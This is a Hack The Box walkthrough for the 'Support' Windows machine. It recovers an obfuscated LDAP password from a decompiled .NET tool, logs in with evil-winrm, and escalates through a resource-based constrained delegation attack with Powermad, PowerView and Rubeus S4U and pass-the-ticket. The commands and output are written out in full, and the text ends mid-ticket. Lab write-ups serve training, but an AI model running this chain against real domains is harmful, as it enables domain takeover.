Walkthrough

Support (Hack The Box)

AD enumeration, credential abuse, and Windows escalation on Support.

Summary: Support highlights Active Directory enumeration and service abuse to gather credentials, then leverages Windows privilege escalation paths to gain full access.

NameSupport
PlatformHack The Box
DifficultyEasy
Operating SystemWindows

Walkthrough

Initial Enumeration

After running the initial Nmap scan, we get quite a few open ports on this machine. Right off the bat, it appears that this machine is running Active Directory most likely, due to the common ports 53,88,389,3268. Additionally, we see that there is domain information listed and we can see the name is listed as support.htb.

nmap -sT -Pn -A -p 53,88,135,139,445,464,593,636,3268,3296,5985,9389,49664,49667,49674,49678,49699,49737 10.10.11.174
          
PORT      STATE SERVICE       VERSION
          53/tcp    open  domain        Simple DNS Plus
          88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-23 01:55:57Z)
          135/tcp   open  msrpc         Microsoft Windows RPC
          139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
          389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
          445/tcp   open  microsoft-ds?
          464/tcp   open  kpasswd5?
          593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
          636/tcp   open  tcpwrapped
          3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
          3269/tcp  open  tcpwrapped
          5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
          |_http-title: Not Found
          |_http-server-header: Microsoft-HTTPAPI/2.0
          9389/tcp  open  mc-nmf        .NET Message Framing
          49664/tcp open  msrpc         Microsoft Windows RPC
          49667/tcp open  msrpc         Microsoft Windows RPC
          49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
          49678/tcp open  msrpc         Microsoft Windows RPC
          49699/tcp open  msrpc         Microsoft Windows RPC
          49737/tcp open  msrpc         Microsoft Windows RPC
          Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
          Device type: general purpose
          Running (JUST GUESSING): Microsoft Windows 2022 (89%)
          Aggressive OS guesses: Microsoft Windows Server 2022 (89%)
          No exact OS matches for host (test conditions non-ideal).
          Network Distance: 2 hops
          Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

          Host script results:
          | smb2-security-mode: 
          |   3:1:1: 
          |_    Message signing enabled and required
          | smb2-time: 
          |   date: 2025-01-23T01:56:56
          |_  start_date: N/A
          

There are several places for us to start, but lets go ahead and see if we can maybe enumerate the SMB share.

Lets start by attempting to list the shares available on the target machine. For this, I like to use the tool smbclient. Since we don’t have any credentials, lets try this anonymously.

Without providing a password, we are able to grab down a listing of the file shares. support-tools seems to be a very unique directory. Lets see if we can get an anonymous bind to it.

smbclient -L \\\\10.10.11.174\\
          
Password for [WORKGROUP\root]:

              Sharename       Type      Comment
              ---------       ----      -------
              ADMIN$          Disk      Remote Admin
              C$              Disk      Default share
              IPC$            IPC       Remote IPC
              NETLOGON        Disk      Logon server share 
              support-tools   Disk      support staff tools
              SYSVOL          Disk      Logon server share 
          Reconnecting with SMB1 for workgroup listing.
          do_connect: Connection to 10.10.11.174 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
          Unable to connect with SMB1 -- no workgroup available
          

We are indeed able to anonymously login to this file share. Looks like we have a bunch of reverse engineering tools staged here. This is very interesting and most likely a hint as to what we may need to do. Lets pull all of them down and take a better look at them on our local machine.

smbclient \\\\10.10.11.174\\support-tools
          
Password for [WORKGROUP\root]:
          Try "help" to get a list of possible commands.
          smb: \> ls
            .                                   D        0  Wed Jul 20 13:01:06 2022
            ..                                  D        0  Sat May 28 07:18:25 2022
            7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 07:19:19 2022
            npp.8.4.1.portable.x64.zip          A  5439245  Sat May 28 07:19:55 2022
            putty.exe                           A  1273576  Sat May 28 07:20:06 2022
            SysinternalsSuite.zip               A 48102161  Sat May 28 07:19:31 2022
            UserInfo.exe.zip                    A   277499  Wed Jul 20 13:01:07 2022
            windirstat1_1_2_setup.exe           A    79171  Sat May 28 07:20:17 2022
            WiresharkPortable64_3.6.5.paf.exe      A 44398000  Sat May 28 07:19:43 2022
          

After pulling down the zip file npp.8.4.1.portable.x64.zip and deflating it, it appears that we have several .dll files along with the UserInfo.exe and a UserInfo.exe.config file.

-rw-rw-rw- 1 root root  99840 Mar  1  2022 CommandLineParser.dll
          -rw-rw-rw- 1 root root  22144 Oct 22  2021 Microsoft.Bcl.AsyncInterfaces.dll
          -rw-rw-rw- 1 root root  47216 Oct 22  2021 Microsoft.Extensions.DependencyInjection.Abstractions.dll
          -rw-rw-rw- 1 root root  84608 Oct 22  2021 Microsoft.Extensions.DependencyInjection.dll
          -rw-rw-rw- 1 root root  64112 Oct 22  2021 Microsoft.Extensions.Logging.Abstractions.dll
          -rw-rw-rw- 1 root root  20856 Feb 19  2020 System.Buffers.dll
          -rw-rw-rw- 1 root root 141184 Feb 19  2020 System.Memory.dll
          -rw-rw-rw- 1 root root 115856 May 15  2018 System.Numerics.Vectors.dll
          -rw-rw-rw- 1 root root  18024 Oct 22  2021 System.Runtime.CompilerServices.Unsafe.dll
          -rw-rw-rw- 1 root root  25984 Feb 19  2020 System.Threading.Tasks.Extensions.dll
          -rwxrwxrwx 1 root root  12288 May 27  2022 UserInfo.exe
          -rw-rw-rw- 1 root root    563 May 27  2022 UserInfo.exe.config
          -rw-r--r-- 1 root root 277499 Jan 22 19:53 UserInfo.exe.zip

          

The file UserInfo.exe.configdenotes that this executable was developed with the .NET framework.

<?xml version="1.0" encoding="utf-8"?>
          <configuration>
              <startup> 
                  <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />
              </startup>
            <runtime>
              <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
                <dependentAssembly>
                  <assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
                  <bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
                </dependentAssembly>
              </assemblyBinding>
            </runtime>
          </configuration> 
          
sku=".NETFramework,Version=v4.8"
          

Lets take apart the file UserInfo.exeand run it through the .NET de-compiler. For this process, one of the best tools to use is ILSpy .

https://github.com/icsharpcode/ILSpy

Lets go ahead and decompile this file and do some static analysis.

After perusing the contents of this executable, we find the UserInfo function in the methods sidebar (left). If we continue to navigate through the FindUser > OnExecuteAsync functions, we see that there is a call to the function LdapQuery . This is very interesting and might lead us right to some potential credentials.

image.png

To investigate this further we can double-click the LdapQuery function and see where else it is called.

Within LdapQuery there are seem to be two crucial functions: Protected.getPassword() and DirectoryEntry() . Based off of the naming convention the first function most likely grabs the LDAP password and the second function gleans information about the domain and user that is being used.

Lets extract some useful information from the function:

Domain

support.htb
          

LDAP Username

support\\ldap
          

image.png

Now, lets select the class Protected and see what we can find some important information. Initially, we can see:

  • enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
    • Some sort of encrypted password string
  • byte[] key = Encoding.ASCII.GetBytes("armando")
    • A byte array being created for the key : armando

image.png

Now lets take a look at the getPassword() function.

This function appears to:

  1. Assign a decoded Base64 string enc_password to a byte array called array.
  2. Create a second byte array called array2 and set it equal to the first array.
  3. Then it runs a for loop that XORs the enc_password byte to the key byte as well as the hexadecimal 0xDF == 223
    1. key[i % key.length] is used to extend the key byte array length to be equal to the enc_password byte array length
    2. ex:

      c 0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E armandoarmandoarmandoarmandoarmandoarmandoarmand

    public static string getPassword()
              {
                  byte[] array = Convert.FromBase64String(enc_password);
                  byte[] array2 = array;
                  for (int i = 0; i < array.Length; i++)
                  {
                      array2[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDFu);
                  }
                  return Encoding.Default.GetString(array2);
              }
          

We can rewrite this functionality in .NET if we wanted to, but lets just recreate the encryption process in a python script.

First lets import the appropriate libraries. We will need both base64 and cycle from itertools.

import base64
          from itertools import cycle
          

Next, lets define a the XORing function that will do the encryption. This function will take 3 bytes at a time (the encoded password, the key, and 0xDfu) as arguments. The bytes will be then be be aggregated into a a single iterator of tuples using the zip() function. Using a list comprehension, we will XOR ^ each of the bytes from the extracted zip iterable and return them in a bytes array called result . We will then return result as a string.

def xor_strings(bytes1,bytes2,bytes3):

              # XORing each byte from the 3 inputed values (enc_password,key,additional_bytes)     
              result = bytes([b1 ^ b2 ^ b3 for b1,b2,b3 in zip(bytes1,bytes2,bytes3)])     
              return str(result)
          

Next, lets create a function to stretch the length of the key to match the length of the encrypted password. This function will take two arguments, the encrypted password and the key. Lets create a counter c and set it to 0. Lets then create an empty string to ultimately hold our new key new_key. Now lets run a for loop using cycle to endlessly cycle over the key string (this will loop the same key over and over). This for loop will check the length of the encrypted password against the counter. If the counter is equal to the length of the password then it will break but otherwise, it will append the current letter in the key string, increment the counter c and run through the cycle again. Once the length matches we will return a bytes array of the new key in UTF-8 format.

def stretch_key_length(password,key):    
              c = 0    
              new_key = ""    
              for i in cycle(key):
                    if c == len(password):
                          break
                  new_key += i
                  c += 1
                  return bytes(new_key,"utf-8")
          

Now, lets add the known variables that we found in the de-compiled code. We need to decode the encoded password from base64 so lets call the method base64.b64decode() with the encoded password as an argument and save it to the variable decoded_b64. Next we need to make sure that the extra bytes xDF are extended to the same length of the password. We can just stretch that out by creating a byte array consisting of the byte xDF repeated for the length of the password and saved to a variable called additionaly_bytes.

# Base64 Encoded Password String 
          enc_password = b"0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"

          # Decoded enc_password byte array 
          decoded_b64 = base64.b64decode(enc_password)

          # Byte extended to match the length of enc_password 
          additional_bytes = b"\xDF"*(len(enc_password))
          

Now lets put it all together and leverage all of the functions to see if we can uncover the password. Below is the final script.

import base64
          from itertools import cycle

          def xor_strings(bytes1,bytes2,bytes3):

              # XORing each byte from the 3 inputed values (enc_password,key,additional_bytes)     
              result = bytes([b1 ^ b2 ^ b3 for b1,b2,b3 in zip(bytes1,bytes2,bytes3)])     
              return str(result)

          def stretch_key_length(password,key):    
              c = 0    
              new_key = ""    
              for i in cycle(key):
                    if c == len(password):
                          break
                  new_key += i
                  c += 1
                  return bytes(new_key,"utf-8")

          # Base64 Encoded Password String 
          enc_password = b"0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"

          # Decoded enc_password byte array 
          decoded_b64 = base64.b64decode(enc_password)

          # Key extended to match length of enc_password 
          # key = b"armandoarmandoarmandoarmandoarmandoarmandoarmand"
          # Alternative Method of getting key
          # initial_key ="armando"
          key = stretch_key_length(decoded_b64,initial_key)

          # Byte extended to match the length of enc_password 
          additional_bytes = b"\xDF"*(len(enc_password))

          print(xor_strings(decoded_b64,key,additional_bytes))
          

If we run this python script, we get the following result:

nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
          

Lets go ahead and try this as the LDAP password and see if we can enumerate the server. First, lets run another Nmap script to verify the domain name that we saw in the initial scan as well as pull down the machine name.

In the output we are able to disclose the domain name and hostname.

nmap -n -sV --script "ldap* and not brute" 10.10.11.174
          
PORT     STATE SERVICE       VERSION
          53/tcp   open  domain        Simple DNS Plus
          88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-23 02:19:08Z)
          135/tcp  open  msrpc         Microsoft Windows RPC
          139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
          389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb, Site: Default-First-Site-Name)
          | ldap-rootdse: 
          | LDAP Results
          |   <ROOT>
          |       domainFunctionality: 7
          |       forestFunctionality: 7
          |       domainControllerFunctionality: 7
          |       rootDomainNamingContext: DC=support,DC=htb
          |       ldapServiceName: support.htb:dc$@SUPPORT.HTB

          [ ....SNIP.... ]

          |       namingContexts: CN=Configuration,DC=support,DC=htb
          |       namingContexts: CN=Schema,CN=Configuration,DC=support,DC=htb
          |       namingContexts: DC=DomainDnsZones,DC=support,DC=htb
          |       namingContexts: DC=ForestDnsZones,DC=support,DC=htb
          |       isSynchronized: TRUE
          |       highestCommittedUSN: 86179
          |       dsServiceName: CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=support,DC=htb
          |       dnsHostName: dc.support.htb
          |       defaultNamingContext: DC=support,DC=htb
          |       currentTime: 20250123021915.0Z
          |_      configurationNamingContext: CN=Configuration,DC=support,DC=htb
          3269/tcp open  tcpwrapped
          Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
          
dc.support.htb
          

Now, lets begin the authenticated LDAP enumeration with the credentials that we have been able to uncover. To do a quick and dirty search, lets run the tool ldapsearch with the credentials that we found in the de-compiled code.

ldapsearch -H ldap://support.htb -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" > output.ldap
          
  • Host URI: ldap://support.htb
  • BindDN: ldap@support
    • A "BindDN" refers to a "Bind Distinguished Name" in the context of Lightweight Directory Access Protocol (LDAP), which essentially means the username (in a specific format) used to authenticate and access an LDAP directory server; it's the user identity that is used to "bind" to the server and perform operations like searching for data within the directory
  • Password: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
  • Basedn: DC=support,DC=htb
    • A "basedn" refers to a "Base Distinguished Name" which, in the context of LDAP (Lightweight Directory Access Protocol), is the starting point for searching within a directory structure, essentially specifying the entry from which a search operation will begin when looking for information within the directory tree; it's essentially the root location for a search query within an LDAP system

The output is quite verbose from a tool like this, and most of the information is pretty useless from out perspective. We can grep for certain strings, but this can be quite cumbersome if we don’t know exactly what we are looking for, such as a custom property assigned to a user or service, that may contain crucial information.

# extended LDIF
          #
          # LDAPv3
          # base <DC=support,DC=htb> with scope subtree
          # filter: (objectclass=*)
          # requesting: ALL
          #

          # support.htb
          dn: DC=support,DC=htb
          objectClass: top
          objectClass: domain
          objectClass: domainDNS
          distinguishedName: DC=support,DC=htb
          instanceType: 5
          whenCreated: 20220528110146.0Z
          whenChanged: 20250128205935.0Z
          subRefs: DC=ForestDnsZones,DC=support,DC=htb
          subRefs: DC=DomainDnsZones,DC=support,DC=htb
          subRefs: CN=Configuration,DC=support,DC=htb

          [ ...SNIP... ]

          # BCKUPKEY_PREFERRED Secret, System, support.htb
          dn: CN=BCKUPKEY_PREFERRED Secret,CN=System,DC=support,DC=htb

          # search reference
          ref: ldap://ForestDnsZones.support.htb/DC=ForestDnsZones,DC=support,DC=htb

          # search reference
          ref: ldap://DomainDnsZones.support.htb/DC=DomainDnsZones,DC=support,DC=htb

          # search reference
          ref: ldap://support.htb/CN=Configuration,DC=support,DC=htb

          # search result
          search: 2
          result: 0 Success

          # numResponses: 267
          # numEntries: 263
          # numReferences: 3
          

Lets instead try another method of enumeration that is easier to navigate. There is a great tool that allows us to browse LDAP in a GUI format. This tool is called Apache Directory Studio.

https://directory.apache.org/studio/download/download-linux.html

Once you have this installed, you can set up a new connection by going to Select LDAP > New Connection .

image.png

Next, enter:

  1. Connection name: Support
  2. Hostname: support.htb

image.png

Next, enter:

  1. Bind DN or user: ldap@support.htb
  2. Bind password: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
  3. Select Check Authentication to verify connection

image.png

Looks like the authentication was successful! So, our password decryption worked!! Now just select OK then Finish .

image.png

After perusing through several of the users, we discover some information in one of the user’s info field. This curiously looks like it could be a password.

image.png

support : Ironside47pleasure40Watchful
          

Lets see if these are actual credentials and try to login with them. Since port 5985 is open, we can use my favorite tool Evil-WinRM to gain a shell as long as the user has remote login privileges.

Initial Foothold

Well it turns out that these were valid credentials and we have a shell on the machine. Lets begin the enumeration phase.

support : Ironside47pleasure40Watchful
          
evil-winrm -i support.htb -u support -p Ironside47pleasure40Watchful
          
*Evil-WinRM* PS C:\Users\support\Desktop> dir

              Directory: C:\Users\support\Desktop

          Mode                 LastWriteTime         Length Name
          ----                 -------------         ------ ----
          -ar---         1/28/2025   1:00 PM             34 user.txt

          

Privilege Escalation

Lets begin the manual enumeration process with identifying the users and groups on the machine. We can do this manually with Powershell commands, but lets use a tool that not only aggregates the relevant information but also prepares it in a visual format that makes it easier to parse.

Lets go ahead and enumerate the user that we have access as first. After double clicking on our user and scrolling down the Node Info tab we see the privilege Group Delegated Object Control.

image.png

What is Group Delegate Object Control?

In Active Directory, "group delegated object control" refers to the process of granting a specific group of users the ability to manage certain objects within the directory, allowing them to perform actions like creating, deleting, or modifying those objects, all through the use of the "Delegation of Control Wizard" which lets you specify which group has access and what tasks they can perform on the designated objects within a chosen organizational unit (OU) or container.

If we select this privilege we will see that we have the GenericAll privilege which is effectively complete control. This will allow us to manipulate whatever we want on the trusted target (our domain controller).

image.png

image.png

According to the link below we can abuse it and impersonate ourselves as any user of the domain to it. For example we can impersonate Domain Administrator and have complete access.

https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet?tab=readme-ov-file#resource-based-constrained-delegation

In a nutshell, through a Resource Based Constrained Delegation attack we can add a computer under our control to the domain; let's call this computer $HACKED , and configure the Domain Controller (DC) to allow $HACKED to act on behalf of it.

Then, by acting on behalf of the DC we can request Kerberos tickets for $HACKED , with the ability to impersonate a highly privileged user on the Domain, such as the Administrator .

After the Kerberos tickets are generated, we can Pass the Ticket (PtT) and authenticate as this privileged user, giving us control over the entire domain.

The attack relies on three prerequisites:

  • We need a shell or code execution as a domain user that belongs to the Authenticated Users group.
    • By default any member of this group can add up to 10 computers to the domain.
  • The ms-ds-machineaccountquota attribute needs to be higher than 0
    • This attribute controls the amount of computers that authenticated domain users can add to the domain.
  • Our current user or a group that our user is a member of, needs to have WRITE privileges ( GenericAll , WriteDACL ) over a domain joined computer (in this case the Domain Controller).

First, lets verify how many computers we are able to create with the following Powershell command.

The output shows us the number 10 assigned to the variable ms-DS-MachineAccountQuota, which means that we are able to create up to 10 machines.This is usually the default setting.

Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota
          
DistinguishedName         : DC=support,DC=htb
          ms-DS-MachineAccountQuota : 10
          Name                      : support
          ObjectClass               : domainDNS
          ObjectGUID                : 553cd9a3-86c4-4d64-9e85-5146a98c868e
          

Next, we will need to upload the tool PowerView. When using an evil-winrm shell, we can simply use the upload command. Then, since this is a Powershell script we can run the module in the local shell.

upload powerview.ps1
          
. .\powerview.ps1
          

Now, lets verify that the msds-allowedtoactonbehalfofotheridentity attribute is empty.

  • msds-allowedtoactonbehalfofotheridentity:
    • This attribute indicates whether a computer account (or user) is allowed to act on behalf of other identities.
    • It’s related to delegation permissions in Active Directory and can be used to control which accounts have the authority to impersonate other accounts.

The value is empty, which means we are ready to perform the RBCD attack.

Get-DomainComputer DC | select name, msds-allowedtoactonbehalfofotheridentity
          
name msds-allowedtoactonbehalfofotheridentity
          ---- ----------------------------------------
          DC
          

Now, lets upload the tool PowerMad. Since this is also a Powershell script, we can upload and import it in the same way.

upload Powermad.ps1
          
. .\Powermad.ps1
          

Next, lets go ahead and create a fake computer. This command will create the new machine HACKED with the password of p@ssword! .

New-MachineAccount -MachineAccount HACKED -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose
          
Verbose: [+] Domain Controller = dc.support.htb
          Verbose: [+] Domain = support.htb
          Verbose: [+] SAMAccountName = HACKED$
          Verbose: [+] Distinguished Name = CN=HACKED,CN=Computers,DC=support,DC=htb
          [+] Machine account HACKED added
          

Lets verify the new computer we just created. Looks like it was created successfully.

Get-ADComputer -identity HACKED
          
DistinguishedName : CN=HACKED,CN=Computers,DC=support,DC=htb
          DNSHostName       : HACKED.support.htb
          Enabled           : True
          Name              : HACKED
          ObjectClass       : computer
          ObjectGUID        : 5702edd8-536d-4cd8-9250-067916077605
          SamAccountName    : HACKED$
          SID               : S-1-5-21-1677581083-3380853377-188903654-5601
          UserPrincipalName :
          

Next, we will need to configure Resource-Based Constrained Delegation through one of two ways.

We can either:

  • Set the PrincipalsAllowedToDelegateToAccount value to HACKED through the builtin PowerShell Active Directory module, which will in turn configure the msds- allowedtoactonbehalfofotheridentity attribute on its own
  • Or we can use the PowerView module to directly set the msds-allowedtoactonbehalfofotheridentity attribute.

We will use the former as it is a bit easier to understand. Let's use the Set-ADComputer command to configure RBCD .

This is a PowerShell command used to modify an Active Directory computer object, specifically to configure the delegation settings for that computer.

  • Set-ADComputer:
    • allows you to change attributes of a computer object, such as name, description, or delegation settings.
  • The Identity parameter is used to specify which computer object to modify in Active Directory.
    • In this case, DC represents the identity of the computer object to modify. This could be a name, distinguished name (DN), GUID, or SID of the computer.
    • Note: Here, DC might be an abbreviation for a specific Domain Controller, but it could also just be the name of the computer you want to modify.
  • PrincipalsAllowedToDelegateToAccount HACKED$
    • This part of the command specifies a security principal (an account or group) that is allowed to delegate to the computer object.
    • PrincipalsAllowedToDelegateToAccount is an attribute that controls which users or computer accounts can delegate to the specified computer object. This is used to specify which accounts are allowed to impersonate or use that computer for delegation purposes.
    • HACKED$: This appears to be the name of an account, and the $ at the end of the name indicates that it is likely a computer account in Active Directory.
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount HACKED$
          

Now, lets just verify that the delegation worked. We see that the variable PrincipalsAllowedToDelegateToAccount is set to {CN=HACKED,CN=Computers,DC=support,DC=htb} which means that it worked!!

Get-ADComputer -Identity DC -Properties PrincipalsAllowedToDelegateToAccount
          
DistinguishedName                    : CN=DC,OU=Domain Controllers,DC=support,DC=htb
          DNSHostName                          : dc.support.htb
          Enabled                              : True
          Name                                 : DC
          ObjectClass                          : computer
          ObjectGUID                           : afa13f1c-0399-4f7e-863f-e9c3b94c4127
          PrincipalsAllowedToDelegateToAccount : {CN=HACKED,CN=Computers,DC=support,DC=htb}
          SamAccountName                       : DC$
          SID                                  : S-1-5-21-1677581083-3380853377-188903654-1000
          UserPrincipalName                    :
          

Now, lets verify the value of the msds-allowedtoactonbehalfofotheridentity . As we can see, the msds-allowedtoactonbehalfofotheridentity now has a value, but because the type of this attribute is Raw Security Descriptor we will have to convert the bytes to a string to understand what's going on. This is not absolutely necessary but we will show how it is done just for better visualization of what the privileges are that are set

Get-DomainComputer DC | select msds-allowedtoactonbehalfofotheridentity
          
msds-allowedtoactonbehalfofotheridentity
          ----------------------------------------
          {1, 0, 4, 128...}
          

Lets converting the bytes to be readable. First, grab the desired value and dump it to a variable called RawBytes .

$RawBytes = Get-DomainComputer DC -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
          

Next, convert these bytes to a Raw Security Descriptor object.

$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
          

Finally, we can print both the entire security descriptor, as well as the DiscretionaryAcl class, which represents the Access Control List that specifies the machines that can act on behalf of the DC.

Note: Due to errors, we are not able to run this locally, but this is what the output should look like

From the output we can see that the SecurityIdentifier is set to the SID of HACKED that we saw earlier, and the AceType is set to AccessAllowed .

$Descriptor
          
$Descriptor.DiscretionaryAcl
          

image.png

It is now time to perform the S4U attack, which will allow us to obtain a Kerberos ticket on behalf of the Administrator. We can use the tool Rubeus to perform this attack.

https://github.com/GhostPack/Rubeus

Lets upload this tool like we did earlier.

upload Rubeus.exe
          

Next, lets get the hash of the computer creation Password. First, we will need the hash of the password that was used to create the computer object.

We will need the rc4_hmac in particular.

.\Rubeus.exe hash /password:p@ssword! /user:HACKED$ /domain:support.htb
          
   ______        _
            (_____ \      | |
             _____) )_   _| |__  _____ _   _  ___
            |  __  /| | | |  _ \| ___ | | | |/___)
            | |  \ \| |_| | |_) ) ____| |_| |___ |
            |_|   |_|____/|____/|_____)____/(___/

            v2.2.0

          [*] Action: Calculate Password Hash(es)

          [*] Input password             : p@ssword!
          [*] Input username             : HACKED$
          [*] Input domain               : support.htb
          [*] Salt                       : SUPPORT.HTBhosthacked.support.htb
          [*]       rc4_hmac             : F15383C8C8F5E439763521BCE534E116
          [*]       aes128_cts_hmac_sha1 : 3E6C112115D16FE3994329DEE88135F6
          [*]       aes256_cts_hmac_sha1 : E7746810B9524631E95D217B8663956B5A0C0886BA26D878BE5654FF1FC11ACF
          [*]       des_cbc_md5          : 75D507B08CB37C07
          
rc4_hmac  : F15383C8C8F5E439763521BCE534E116
          

Next, lets generate a Kerberos ticket for the Administrator user.

We have 3 tickets that have printed out for us! All of these tickets are encoded in base64

.\Rubeus.exe s4u /user:HACKED$ /rc4:F15383C8C8F5E439763521BCE534E116 /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /domain:support.htb /ptt
          
   ______        _
            (_____ \      | |
             _____) )_   _| |__  _____ _   _  ___
            |  __  /| | | |  _ \| ___ | | | |/___)
            | |  \ \| |_| | |_) ) ____| |_| |___ |
            |_|   |_|____/|____/|_____)____/(___/

            v2.2.0

          [*] Action: S4U

          [*] Using rc4_hmac hash: F15383C8C8F5E439763521BCE534E116
          [*] Building AS-REQ (w/ preauth) for: 'support.htb\HACKED$'
          [*] Using domain controller: ::1:88
          [+] TGT request successful!
          [*] base64(ticket.kirbi):

                doIFUjCCBU6gAwIBBaEDAgEWooIEazCCBGdhggRjMIIEX6ADAgEFoQ0bC1NVUFBPUlQuSFRCoiAwHqAD
                AgECoRcwFRsGa3JidGd0GwtzdXBwb3J0Lmh0YqOCBCUwggQhoAMCARKhAwIBAqKCBBMEggQPVFpx1I4E
                iAnYSFC3sEkCjKSvxVDU9HC0ifAUdgPMYnVSiZbysAClMYPkeLkoDcAJlswU6ifkrTgheyWavandvxGh
                F6XWY5N/zInRJHusuBO9jrrWTWQfbD3L9gLT/7UHUwhQ955YujH+Vy3UCL9hASERq6YHKq+7jVHrbKWH
                87Q4N3Wd5KmmtE3pYbGI+cdfJKgh1ZvAz7xBVEHbqyNxsg26wKQ0M86Qy+snzabQdqaUygJFs4UaRcVU
                vzVMubLJ+vUCgARfdttGE7tvjPYFdcVsWon4K14EeZhSH3BX7ukCMkYAgxQI5TXpsFw5Dk5nlLB/dRx+
                U0eQjHQtL1+gAJaY9tPSbM7tzq9KNWT5wsCpfNF9paMBATsX9huuvPEnGWwdZm5XS148fdP7xwdTiNZN
                IeHjcKjacg6lq4ppxbMUlek572B60ns/F7MNVL/QAlXoklFqu5CG9N4eqCrtICtYvWv3Px5qrz0sf2Sz
                tdkbnlX0aTrdOhHyKpjvYIU1W49dhG8lZ9Zj1MmwLcGkNcbopA3BobdOM3h1XafFL/Xc7QYuO1Krgort
                eP2e1zK2ggXkPVpGKQ8/r+KpWk6zktC3nzzZbpOG+4HC7HSqsUgTfJ6kJioBPRmlcC37fCWTl0YOJYE9
                P41Drbzh+FxqgmxiJDyNV7spBwW4d0GMZcaEpAozRG/xhd48EiFHlywkZJTHTyHDveYNZVApgQJEtNgB
                5aVFD+HRChHr1Jet2XPyaE2dVmdldYp6VY6kEo9i1aA2aLPpsUNBWq/QQT2/LcDNi2qRjBzv6pbCK3GZ
                z8u+76ccx6juKZEJBGJw7GhrWoWF0mVd9r931n1wTWeWvuHDo30AcqXsTqOsy1eeY8bMJItdmz7aMr+B
                pCaHo0ZfbXJUCs6+qvvQJlvUrbj9dMOK28j6Xk/VZqvWMMSYgsz3SSQRq5+UQNUngfObMAVQ5+/cbhPO
                6UE/57x5RC/TrTv3UpV22E2OwQi4tLgs+N9hSMgi/jNVXRKKvnm/xiqw4RcoXLbgSNUBDLjr7TF9h/FU
                duPxY/VCDYaUk16iWb4I7Ok+bOqH1/ShpzB2MB2BMJkepJ1DjWdVnuUbZxlGVhwJNeMANvJP9p1PG38j
                TPb3430xJHlvjRZsSh8LQBHWXNmOtd43NYxML+vPodbkqPnrpTJyhn93KdtmUepm7K5fLFLkIvnz1eYe
                +o2Dd0Z27MWOT0u2VcXJtM4aOxXfyGIwrtk8kfWhrcg5MJpJkFgOJJtkr5byvaDjbk/Un7B/Ksfv0uck
                s0c/0GTusE6KAjose3O9y1f1AnpMBdhRJman72HE9y32eOEOqmdAn8Qaaxc2AfW/18/2WM4WaxnrjVvL
                dlNWPvz0o7zuHmKKt6OB0jCBz6ADAgEAooHHBIHEfYHBMIG+oIG7MIG4MIG1oBswGaADAgEXoRIEEENf
                E5bvq+Ij9lkaA1geLH6hDRsLU1VQUE9SVC5IVEKiFDASoAMCAQGhCzAJGwdIQUNLRUQkowcDBQBA4QAA
                pREYDzIwMjUwMjA0MTUwODQwWqYRGA8yMDI1MDIwNTAxMDg0MFqnERgPMjAyNTAyMTExNTA4NDBaqA0b
                C1NVUFBPUlQuSFRCqSAwHqADAgECoRcwFRsGa3JidGd0GwtzdXBwb3J0Lmh0Yg==

          [*] Action: S4U

          [*] Building S4U2self request for: 'HACKED$@SUPPORT.HTB'
          [*] Using domain controller: dc.support.htb (::1)
          [*] Sending S4U2self request to ::1:88
          [+] S4U2self success!
          [*] Got a TGS for 'Administrator' to 'HACKED$@SUPPORT.HTB'
          [*] base64(ticket.kirbi):

                doIFojCCBZ6gAwIBBaEDAgEWooIEwTCCBL1hggS5MIIEtaADAgEFoQ0bC1NVUFBPUlQuSFRCohQwEqAD
                AgEBoQswCRsHSEFDS0VEJKOCBIcwggSDoAMCARehAwIBAaKCBHUEggRxBOlFq5h+UmLqxnoNAPAfwJmM
                rkq1aHYspoj95nBQsmGxp8pDI/XOFfSe7A1oPHY810MInM/KmdkYzX9aNr0Uq/ReCMYyYK5yoAIpqhBr
                7abogwkA3YqJeyskcTWeaQT5mReXecJln0PmaxuC54C1OBvDHJr9JwtGD9Dt3CnT7XP8o6l3piIT2HwM
